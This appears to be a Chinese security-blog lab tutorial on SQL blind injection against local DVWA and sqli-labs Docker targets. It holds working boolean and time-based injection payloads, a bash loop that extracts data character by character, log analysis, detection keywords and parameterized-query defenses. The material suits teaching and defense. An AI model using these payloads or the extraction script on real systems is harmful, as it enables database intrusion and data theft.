靶场实战10|只会说\"是/否\"的数据库,是怎么被攻破的?(附docker靶场部署步骤)"

admin 2026-10-22 14:39:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

靶场实战10|只会说 \"是 / 否\" 的数据库,是怎么被攻破的?(附docker靶场部署步骤)

原创

安全值班室
安全值班室

安全值班室

2026年10月16日 09:00
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

上一期 UNION SELECT 直接把数据拖出来,但真实系统常不显示查询结果——要么只回一句\"成功/无结果\",要么干脆报错。数据还能拿到吗?能。像猜谜一样一次问一个问题,靠页面\"是/否\"或响应快慢,把答案一比特一比特抠出来,这就是盲注。这一章,我们用 DVWA 和 sqli-labs 把盲注全流程跑一遍。

01 / 环境搭建:一条命令拉起两个盲注靶场

DVWA 的 Blind 关卡(Medium)演示\"带转义的真实场景\",sqli-labs 的 Less-5/6 是教科书级盲注关卡:一单一双,正好对照。

一键启动命令

# ===== 一键部署双盲注靶场(DVWA + sqli-labs)=====# 端口:DVWA=8083,sqli-labs=8082(被占用就改前面的数字)# 1. 启动 DVWA(盲注主战场,官方镜像)docker run -d --name dvwa -p 8083:80 --restart=always docker.1ms.run/vulnerables/web-dvwa# 2. 启动 sqli-labs(SQLi 专项靶场,镜像已内置数据库)docker run -d --name sqli-labs -p 8082:80 --restart=always docker.1ms.run/acgpiano/sqli-labs# 3. 登录 DVWA:http://localhost:8083/login.php(admin/password)#    注意:表单字段名是 username,不是 user#    首次登录先点 Setup → Create/Reset Database 初始化#    再到 DVWA Security 把安全等级调成 Medium(会转义单引号,适合学\"数字型+盲注\")# 4. 验证 sqli-labs 就绪(正常应返回 \"You are in\")curl -s \"http://localhost:8082/Less-5/?id=1\" | grep \"You are in\"

靶场说明:DVWA Medium 转义单引号,逼你走数字型注入;sqli-labs 库名 security,结构干净。两个靶场正好互补。

避坑指南

1. DVWA 登录失败:字段名是 username 不是 user;首次登录先点 Setup 的 Create/Reset Database,否则漏洞页全报错。
2. sqli-labs 打不开(AH00111):老镜像 apache 偶发起不来,docker exec sqli-labs apache2ctl start 解决。
3. curl 注入不生效:URL 空格要写 %20,浏览器自动编码但 curl 不会——新手最高频的\"假失败\"。
4. 端口冲突:改 -p 前面的端口号即可。

02 / 模拟攻击:把\"是/否\"和\"快/慢\"当密码本

盲注三板斧:单引号确认注入点 → 布尔盲注(有/无回显)→ 无信号就上时间盲注(快/慢)。全程只在本地靶场演示。

第一步:单引号探路(确认注入点)

# ===== 第一步:确认注入点(单引号是\"试金石\")=====# 正常访问 id=1,页面显示 You are in......curl -s \"http://localhost:8082/Less-5/?id=1\"# 加一个单引号 id=1',SQL 拼接被打破,直接报语法错误curl -s \"http://localhost:8082/Less-5/?id=1'\"# 报错关键信息:#   ...right syntax to use near ''1'' LIMIT 0,1' at line 1#   → 说明 id 被拼进了 SQL 且未过滤,注入点确认 ✅

单引号是注入的\"试金石\":报语法错误说明输入被拼进了 SQL。报错还吐出 SQL 片段(near ''1'' LIMIT 0,1),属于错误回显漏洞,看到基本就锁定注入点。

第二步:布尔盲注(页面当信号灯)

# ===== 第二步:布尔盲注(把页面当\"是/否\"信号灯)=====# 规则:条件为真 → 显示 You are in;条件为假 → 页面空白# 注意:URL 里空格要写成 %20,否则注入不生效(常见坑!)# 猜数据库名第一个字符是不是 's'(ASCII 115 = 's')curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=115--%20\" | grep \"You are in\"# 输出 You are in → 条件为真,第一个字符确实是 's' ✅# 猜成 'd'(ASCII 100)试试curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=100--%20\" | grep \"You are in\"# 无输出 → 条件为假,不是 'd' ❌
DATABASE()            当前数据库名SUBSTR(x,1,1)         取第 1 个字符ASCII(c)              转成数字,方便程序比较=115                  等于 's' 则为真

联合查询要页面渲染数据,布尔盲注只要\"有/无反应\"两种状态。SUBSTR 切字符、ASCII 转数字,把字符比较变成数字比较,数字不用引号,脚本更好写。

第三步:脚本逐字符提取(库名 security 到手)

# ===== 第三步:脚本提速(逐字符抠出整个库名)=====# 思路:每个位置遍历 a-z,页面回显 \"You are in\" 的那个就是当前字符for pos in $(seq 1 8); do  for ascii in $(seq 97 122); do    # 探测第 pos 位字符的 ASCII 是否等于当前值    r=$(curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),${pos},1))=${ascii}--%20\" | grep -c \"You are in\")    if [ \"$r\" -eq 1 ]; then      # 命中:ASCII 数字转回字符并输出      printf \"\\\\$(printf '%03o' \"$ascii\")\"      break    fi  donedoneecho \"\"

手工问 26 次才定一个字符,脚本一个循环全搞定——实测 8 字符约 200 次请求。同样的思路套到表名、列名、字段值上,拖完整个库只是时间问题。没有回显不等于安全。

第四步:时间盲注(延迟当信号灯)

# ===== 第四步:时间盲注(连\"是/否\"都不给,用延迟当信号灯)=====# 场景:有些接口无论真假都返回同样内容(如登录判断),布尔盲注失效# 原理:条件为真 → 执行 SLEEP(2) → 响应慢 2 秒;条件为假 → 秒回# 测第一个字符是不是 's'(真 → 慢 2 秒)time curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20IF(ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=115,SLEEP(2),0)--%20\" -o /dev/null# real 0m2.009s  ← 延迟 2 秒,条件为真 ✅# 测成 'd'(假 → 秒回)time curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20IF(ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=100,SLEEP(2),0)--%20\" -o /dev/null# real 0m0.00Xs  ← 秒回,条件为假 ❌

有些接口真假都返回同样页面,布尔盲注失效。改用 SLEEP:条件为真就让数据库睡 2 秒,拿秒表当眼睛。最慢但最通用,是兜底方案。

第五步:DVWA Medium 实战(转义挡不住数字型)

# ===== 第五步:DVWA Medium 实战(转义环境下的数字型盲注)=====# DVWA sqli_blind 关卡:POST 提交 id# Medium 会转义单引号(' 变 \\'),但数字型参数不需要引号!# 用纯数字表达式照样注入,转义挡不住# 先登录 DVWA 并保持会话(浏览器操作),再 POST:# ① 布尔测试:1 AND 1=1 → 有提示;1 AND 1=2 → 无提示curl -b \"PHPSESSID=你的会话ID\" -X POST \\  -d \"id=1 AND 1=1&Submit=Submit\" \\  http://localhost:8083/vulnerabilities/sqli_blind/# 页面显示 \"User ID exists in the database\" → 数字型注入点确认 ✅# ② 猜数据库用户名首字符:ASCII(SUBSTRING((SELECT user()),1,1))=97(即 'a')curl -b \"PHPSESSID=你的会话ID\" -X POST \\  -d \"id=1 AND ASCII(SUBSTRING((SELECT user()),1,1))=97&Submit=Submit\" \\  http://localhost:8083/vulnerabilities/sqli_blind/# 有回显 → 真 ✅(实测 DVWA 的 user() 以 a 开头)# ③ 时间盲注同样可行(数字型,无引号):# id=1 AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=97,SLEEP(2),0)# 延迟 2 秒 = 真

Medium 转义了单引号,字符串型注入被堵死,但数字型参数不需要引号。这就是\"过滤单引号\"不是治本方案的原因。

03 / 日志分析:盲注在日志里长什么样

以下是靶场 Apache 访问日志的脱敏片段:

# 时间线(已隐去 IP):[30/Aug 10:02:11] GET /Less-5/?id=1                          → 200, 704B   # ① 基线访问[30/Aug 10:02:13] GET /Less-5/?id=1'                         → 200, 739B   # ② 加引号,字节+35 → 报错页(注入点确认)[30/Aug 10:02:14] GET /Less-5/?id=1' AND ASCII(...)=115      → 200, 704B   # ③ 布尔盲注猜 's' ✅[30/Aug 10:02:14] GET /Less-5/?id=1' AND ASCII(...)=116      → 200, 704B   # ③ 继续猜 't'[30/Aug 10:02:15] GET /Less-5/?id=1' AND ASCII(...)=117      → 200, 704B   # ③ 继续猜 'u'[30/Aug 10:02:17] GET /Less-5/?id=1' AND SLEEP(2)            → 200, 704B   # ④ 时间盲注,间隔 2 秒[30/Aug 10:02:19] GET /Less-5/?id=1' AND SLEEP(2)            → 200, 704B   # ④ 再次延迟 2 秒[30/Aug 10:02:21] GET /Less-5/?id=1' AND SLEEP(2)            → 200, 704B   # ④ 第 3 次延迟 2 秒[30/Aug 10:02:24] POST /vulnerabilities/sqli_blind/          → 200, 891B   # ⑤ DVWA Medium 实战(数字型)[30/Aug 10:02:24] POST /vulnerabilities/sqli_blind/          → 200, 891B   # ⑤ 猜 user() 首字符[30/Aug 10:02:25] POST /vulnerabilities/sqli_blind/          → 200, 891B   # ⑤ 时间盲注(SLEEP 分支)

逐行解读:

第1行:id=1 正常访问,704字节——基线。
第2行:id=1' 带单引号,字节变 739 多了报错内容——探注入点。
第3-5行:同URL参数只有 ascii 数字 115→116→117 在变、一秒连发——逐字符爆破,人工不可能这么规律。
第6-8行:SLEEP(2) 连发,间隔约2秒——时间盲注在\"量\"延迟。
第9-11行:POST sqli\_blind 一秒3次——脚本在跑盲注,响应体全是 891 字节。

判断标准:哪些特征说明是真实攻击

1. 参数带盲注函数关键字:sleep( / benchmark( / substr( / ascii( / information\_schema 出现在 query 里,正常业务不可能。
2. 同URL高频请求+参数只变一个字符:ascii 115/116/117 连续递增,是逐字符脚本的节奏。
3. 时间戳呈固定延迟间隔:SLEEP(2) 的请求间隔稳定约 2 秒,正常用户不会有\"钟表式\"节奏。
4. 响应字节数规律:探点 704↔739、盲注固定 704——脚本请求响应大小高度一致。
5. 同IP短时大量 404/500 混着 200:攻击者在试错调 payload。

04 / 如何防护:堵住根子,而不是堵住姿势

先讲原理。盲注能成功,根本原因只有一个:用户输入被拼进了 SQL 语句。盲注、联合查询、报错注入只是\"拿结果\"的不同姿势,根子都是拼接。所以第一原则永远是参数化查询,让输入只是数据、成不了代码;过滤、WAF 只是辅助手段。

基础级(必须做):参数化查询+最小权限

# ===== 参数化查询:让输入永远只是数据,成不了代码 =====# ------- PHP / PDO -------$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');$stmt->execute([$_GET['id']]);# ------- Java / PreparedStatement -------String sql = \"SELECT * FROM users WHERE id = ?\";PreparedStatement ps = conn.prepareStatement(sql);ps.setInt(1, id);# ------- Python -------cur.execute('SELECT * FROM users WHERE id = %s', (uid,))

参数化查询是唯一根治方案,任何语言都有现成实现(PDO、PreparedStatement、参数绑定)。同时数据库账号只授最小权限,注入成功也拖不了库。

进阶级(推荐):输入校验+WAF+关闭报错

  1. 输入白名单:id 只允许纯数字,非数字直接拒绝(正则 ^\d+$)。
  2. WAF 拦截盲注特征函数:sleep(/benchmark(/substr(/ascii(/information\_schema 命中即 403。
  3. 关闭错误回显:生产环境 display\_errors=Off,错误只写日志——断掉攻击者的\"信号灯\"。
  4. 频率限制:同IP同接口超阈值限流,拖慢逐字符爆破。

专家级(纵深防御)

  1. 数据库审计+告警:开启 general\_log,SQL 含 SLEEP/SUBSTR 特征即告警。
  2. RASP 运行时自保护:在 SQL 执行层拦截\"参数变代码\",比 WAF 更靠内。
  3. 全链路溯源:access log、DB log、WAF log 三源关联还原攻击链。
  4. 主动自查:用 sqlmap 定期扫自家系统,比攻击者先发现。

05 / 总结复盘

要点提炼:

  1. 盲注=无回显时,靠\"是/否\"(布尔)或\"快/慢\"(时间)两种信号猜数据。
  2. 三板斧:单引号探点 → 布尔盲注 → 不行上时间盲注,SUBSTR+ASCII 逐字符提取。
  3. 转义单引号挡不住数字型注入,过滤不是根治方案。
  4. 日志里 sleep(/substr(/ascii( + 固定延迟 + 单字符变化 = 盲注铁证。
  5. 根治一条:参数化查询,输入永远是数据、成不了代码。

攻击链全景:单引号确认拼接点 → 闭合引号塞条件 → 布尔盲注逐字符问\"是不是这个字符\" → 无信号换 SLEEP 时间盲注 → 脚本循环抠出库名/表名/数据。全程零回显,信息一点没少。

面试可能怎么问:

Q:布尔盲注和时间盲注有什么区别?
A:布尔靠页面\"有/无回显\"判断,快但要页面有差异;时间靠 SLEEP 制造延迟,慢但最通用,页面无差异时用它。

Q:SUBSTR 和 ASCII 起什么作用?
A:SUBSTR 切单字符,ASCII 转数字,把\"猜字符\"变\"猜数字\",方便脚本逐位提取。

Q:如何防御 SQL 盲注?
A:根本是参数化查询;配套最小权限、WAF 拦特征函数、关错误回显、频率限制;纵深加审计告警和 RASP。

盲注靠\"猜\"还是慢?下一章报错注入——让数据库把答案直接\"喊\"出来,一次请求一个错误信息,速度起飞,再顺带学各种绕过姿势。

关注我,下期不迷路

MORE

往期回顾

CTF新手速成

靶场实战:从漏洞基础到红队综合

内网渗透学习路线

云安全攻防实战连载

Web安全学习路线

靶场实战10|只会说\"是/否\"的数据库,是怎么被攻破的?(附docker靶场部署步骤)" 网络安全文章

靶场实战10|只会说\"是/否\"的数据库,是怎么被攻破的?(附docker靶场部署步骤)"

本文系统讲解SQL盲注的完整实战流程,涵盖DVWA与sqli-labs靶场环境搭建、布尔盲注与时间盲注两种核心攻击手法、脚本化逐字符提取数据的方法,以及通过日志特征识别盲注攻击的技巧。文章强调防护根本在于参数化查询与最小权限原则,而非依赖过滤和WAF,对安全测试人员具有较强实操参考价值。
安全快报|亲俄黑客组织利用ASHVEIN新型木马持续攻击乌克兰政府和国防网络" 网络安全文章

安全快报|亲俄黑客组织利用ASHVEIN新型木马持续攻击乌克兰政府和国防网络"

本周安全快报汇总8起重大事件:亲俄黑客利用ASHVEIN木马攻击乌克兰;AI代理集群攻击乌克兰能源部门窃取56万条记录;新型钓鱼工具包Wazza攻击欧美机构;AI渗透工具被用于韩国银行数据窃取;零售巨头遭流量攻击;医疗设备商数据泄露;法国超市制冷系统遭攻击;律所遭社工勒索2.07亿美元。建议加强供应链安全、AI防御及员工安全意识培训。
IDC首发《中国AI安全技术发展路线图,2026》:23项AI安全技术加速落地,智能体安全成为核心战场" 网络安全文章

IDC首发《中国AI安全技术发展路线图,2026》:23项AI安全技术加速落地,智能体安全成为核心战场"

IDC发布《中国AI安全技术发展路线图2026》,预测2030年中国AI安全市场规模达340亿元,复合增长率超50%。报告评估23项AI安全技术,指出智能体安全成为核心战场,AI安全从单点防护走向体系化治理,供应链安全成为新边界,技术范式向AI对抗AI演进。建议企业根据自身AI成熟度分阶段部署安全能力。
评论:0   参与:  0